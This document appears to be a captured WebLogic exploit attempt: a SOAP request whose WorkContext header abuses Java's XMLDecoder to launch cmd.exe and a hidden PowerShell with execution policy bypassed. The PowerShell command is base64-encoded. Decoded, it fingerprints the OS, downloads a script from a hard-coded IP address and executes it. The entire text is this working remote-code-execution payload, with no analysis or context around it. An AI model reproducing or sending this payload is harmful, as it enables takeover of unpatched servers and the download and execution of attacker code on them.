WebLogic Exploit Attempt

"<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.8.0_131" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
  <array class="java.lang.String" length="3">
    <void index="0">
      <string>cmd.exe</string>
    </void>
    <void index="1">
      <string>/c</string>
    </void>
    <void index="2">
      <string>Start /Min PowerShell.exe -NoP -NonI -EP ByPass -W Hidden -E JABPAFMAPQAoAEcAVwBtAGkAIABXAGkAbgAzADIAXwBPAHAAZQByAGEAdABpAG4AZwBTAHkAcwB0AGUAbQApAC4AQwBhAHAAdABpAG8AbgA7ACQAVwBDAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAFcAQwAuAEgAZQBhAGQAZQByAHMAWwAnAFUAcwBlAHIALQBBAGcAZQBuAHQAJwBdAD0AIgBQAG8AdwBlAHIAUwBoAGUAbABsAC8AVwBMACAAJABPAFMAIgA7AEkARQBYACAAJABXAEMALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADAALgAyADUALgAxADQAOAAuADIAMAAyAC8AaQBtAGEAZwBlAHMALwB0AGUAcwB0AC8ARABMAC4AcABoAHAAJwApADsA</string>
    </void>
  </array>
    <void method="start"/>
</void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
"